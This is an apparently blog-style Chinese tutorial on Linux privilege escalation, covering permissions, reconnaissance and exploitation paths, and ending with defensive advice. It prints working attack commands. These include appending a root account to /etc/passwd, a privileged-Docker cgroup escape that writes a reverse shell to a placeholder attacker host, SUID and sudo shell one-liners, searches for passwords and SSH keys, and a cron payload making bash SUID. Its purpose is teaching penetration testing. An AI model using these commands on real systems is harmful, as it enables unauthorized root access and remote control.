Linux提权由浅入深
字数 2158 2025-08-30 06:50:11

Linux提权技术深度解析

前言

Linux提权(Privilege Escalation)是渗透测试与内网攻防中的关键环节。本文将从实际出发,系统介绍Linux中常见的提权方式,涵盖信息收集、文件权限分析、内核漏洞利用、配置错误利用等多个方面,帮助读者建立完整的提权知识体系。

Linux权限基础

用户和组

Linux用户分为三类:

  1. 系统管理员(root):UID为0,拥有所有系统权限
  2. 系统用户:UID在1-499(Centos7为1-999)之间,用于系统服务
  3. 自定义用户:UID在500(Centos7为1000)以上,供用户登录使用

关键文件

/etc/passwd

格式:用户名:密码:用户ID:组ID:用户说明:家目录:登陆shell

/etc/shadow

存储用户加密密码及相关安全信息,格式:
用户名:加密密码:密码最后一次修改日期:两次密码修改时间间隔:密码有效期:密码修改到期警告天数:密码过期宽限天数:账号失效时间:保留

密码加密格式:$id$salt$encrypted

  • id表示算法(1=MD5,5=SHA-256,6=SHA-512)
  • salt为盐值
  • encrypted为密码hash值

文件权限

Linux使用rwx(读、写、执行)控制文件权限:

  • r:读取
  • w:写入
  • x:执行(对目录表示可进入)

查看权限命令:ls -lls -la

权限示例:-rw-r--r-- 1 root root

  • 第一个字符:文件类型(-普通文件,d目录,l软链接等)
  • 接下来三组:所有者、组、其他用户权限
  • 数字:硬链接数或子目录数
  • 两个root:所有者和所属组

特殊权限

  1. SUID(Set User ID):执行时临时赋予文件所有者权限
  2. SGID(Set Group ID):执行时临时赋予文件所属组权限
  3. SBIT(Sticky Bit):目录中只有所有者和管理员可删除/修改文件

信息收集

自动化工具

推荐工具:

  1. linux-soft-exploit-suggester
  2. linux-exploit-suggester-2
  3. Linux_Exploit_Suggester
  4. linux-exploit-suggester

手动收集

关键命令:

  • 查看系统信息:uname -a
  • 查看用户和群组:cat /etc/passwd, cat /etc/group
  • 查找明文密码:grep -r "password" /
  • 查找SSH私钥:find / -name "id_rsa" 2>/dev/null

提权方法详解

1. 内核提权

原理:利用Linux内核漏洞获取root权限

步骤

  1. 收集内核版本信息:uname -a
  2. 查找对应漏洞及EXP
  3. 执行EXP实现提权

工具使用

./linux-exploit-suggester.sh

结果分类:

  • Highly probable:高概率可直接利用
  • Probable:可能需要修改EXP
  • Less probable:需手动验证
  • Unprobable:低概率受影响

2. /etc/passwd提权

前提:/etc/passwd文件可写

步骤

  1. 生成加密密码:

    openssl passwd -1 -salt hacker 123456
    

    或使用Python:

    python -c 'import crypt; print(crypt.crypt("123456", "$6$salt"))'
    
  2. 构造账号条目并追加:

    echo "hacker:\$1\$hacker\$rlg3URzW8UubvJQmH0J4X.:0:0::/root:/bin/bash" >> /etc/passwd
    
  3. 切换用户:

    su hacker
    

3. Docker提权

特权容器提权

检测

docker inspect --format='{{.HostConfig.Privileged}}' <container_id>

利用

# 在容器内执行
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/<attacker_ip>/<port> 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

挂载宿主机目录提权

检测

docker inspect --format='{{.Mounts}}' <container_id>

利用
如果挂载了/etc目录,可参考/etc/passwd提权方法

4. SUID提权

查找SUID文件

find / -perm -4000 -type f 2>/dev/null

高危SUID程序及利用方法

程序路径 提权命令
/usr/bin/find find . -exec /bin/sh \;
/usr/bin/vim vim -c ':!sh'
/usr/bin/python python -c 'import os; os.system("/bin/sh")'
/usr/bin/perl perl -e 'exec "/bin/sh";'
/usr/bin/env env /bin/sh
/usr/bin/bash bash -p

自动化工具
AutoSUID可自动检测可利用的SUID程序

5. Sudo提权

检测sudo权限

sudo -l

常见提权命令

  1. 通过Python:
sudo python -c 'import os; os.system("/bin/sh")'
  1. 通过find:
sudo find / -exec /bin/sh \; -quit
  1. 通过vim:
sudo vim -c ':!sh'
  1. 通过perl:
sudo perl -e 'exec "/bin/sh";'

6. 定时任务提权

检测定时任务

cat /etc/crontab
ls -la /etc/cron*

利用方法

  1. 查找可写的定时任务脚本
  2. 修改脚本内容添加恶意代码
  3. 等待任务执行获取root权限

示例

echo 'chmod +s /bin/bash' >> /path/to/vulnerable/script.sh

防御建议

  1. 定期更新系统和内核
  2. 严格控制文件权限,特别是/etc/passwd、/etc/shadow等关键文件
  3. 谨慎使用SUID/SGID权限
  4. 合理配置sudo权限,避免NOPASSWD滥用
  5. 安全配置Docker容器,避免特权模式和敏感目录挂载
  6. 监控定时任务和系统日志

总结

Linux提权技术多种多样,关键在于:

  1. 全面的信息收集
  2. 准确的风险点识别
  3. 选择合适的利用方法
  4. 谨慎执行避免系统崩溃

掌握这些技术不仅有助于渗透测试,更能帮助系统管理员发现和修复安全隐患。

Linux提权技术深度解析 前言 Linux提权(Privilege Escalation)是渗透测试与内网攻防中的关键环节。本文将从实际出发,系统介绍Linux中常见的提权方式,涵盖信息收集、文件权限分析、内核漏洞利用、配置错误利用等多个方面,帮助读者建立完整的提权知识体系。 Linux权限基础 用户和组 Linux用户分为三类: 系统管理员(root) :UID为0,拥有所有系统权限 系统用户 :UID在1-499(Centos7为1-999)之间,用于系统服务 自定义用户 :UID在500(Centos7为1000)以上,供用户登录使用 关键文件 /etc/passwd 格式: 用户名:密码:用户ID:组ID:用户说明:家目录:登陆shell /etc/shadow 存储用户加密密码及相关安全信息,格式: 用户名:加密密码:密码最后一次修改日期:两次密码修改时间间隔:密码有效期:密码修改到期警告天数:密码过期宽限天数:账号失效时间:保留 密码加密格式: $id$salt$encrypted id表示算法(1=MD5,5=SHA-256,6=SHA-512) salt为盐值 encrypted为密码hash值 文件权限 Linux使用 rwx (读、写、执行)控制文件权限: r :读取 w :写入 x :执行(对目录表示可进入) 查看权限命令: ls -l 或 ls -la 权限示例: -rw-r--r-- 1 root root 第一个字符:文件类型( - 普通文件, d 目录, l 软链接等) 接下来三组:所有者、组、其他用户权限 数字:硬链接数或子目录数 两个root:所有者和所属组 特殊权限 SUID(Set User ID) :执行时临时赋予文件所有者权限 SGID(Set Group ID) :执行时临时赋予文件所属组权限 SBIT(Sticky Bit) :目录中只有所有者和管理员可删除/修改文件 信息收集 自动化工具 推荐工具: linux-soft-exploit-suggester linux-exploit-suggester-2 Linux_ Exploit_ Suggester linux-exploit-suggester 手动收集 关键命令: 查看系统信息: uname -a 查看用户和群组: cat /etc/passwd , cat /etc/group 查找明文密码: grep -r "password" / 查找SSH私钥: find / -name "id_rsa" 2>/dev/null 提权方法详解 1. 内核提权 原理 :利用Linux内核漏洞获取root权限 步骤 : 收集内核版本信息: uname -a 查找对应漏洞及EXP 执行EXP实现提权 工具使用 : 结果分类: Highly probable:高概率可直接利用 Probable:可能需要修改EXP Less probable:需手动验证 Unprobable:低概率受影响 2. /etc/passwd提权 前提 :/etc/passwd文件可写 步骤 : 生成加密密码: 或使用Python: 构造账号条目并追加: 切换用户: 3. Docker提权 特权容器提权 检测 : 利用 : 挂载宿主机目录提权 检测 : 利用 : 如果挂载了/etc目录,可参考/etc/passwd提权方法 4. SUID提权 查找SUID文件 : 高危SUID程序及利用方法 : | 程序路径 | 提权命令 | |---------|---------| | /usr/bin/find | find . -exec /bin/sh \; | | /usr/bin/vim | vim -c ':!sh' | | /usr/bin/python | python -c 'import os; os.system("/bin/sh")' | | /usr/bin/perl | perl -e 'exec "/bin/sh";' | | /usr/bin/env | env /bin/sh | | /usr/bin/bash | bash -p | 自动化工具 : AutoSUID 可自动检测可利用的SUID程序 5. Sudo提权 检测sudo权限 : 常见提权命令 : 通过Python: 通过find: 通过vim: 通过perl: 6. 定时任务提权 检测定时任务 : 利用方法 : 查找可写的定时任务脚本 修改脚本内容添加恶意代码 等待任务执行获取root权限 示例 : 防御建议 定期更新系统和内核 严格控制文件权限,特别是/etc/passwd、/etc/shadow等关键文件 谨慎使用SUID/SGID权限 合理配置sudo权限,避免NOPASSWD滥用 安全配置Docker容器,避免特权模式和敏感目录挂载 监控定时任务和系统日志 总结 Linux提权技术多种多样,关键在于: 全面的信息收集 准确的风险点识别 选择合适的利用方法 谨慎执行避免系统崩溃 掌握这些技术不仅有助于渗透测试,更能帮助系统管理员发现和修复安全隐患。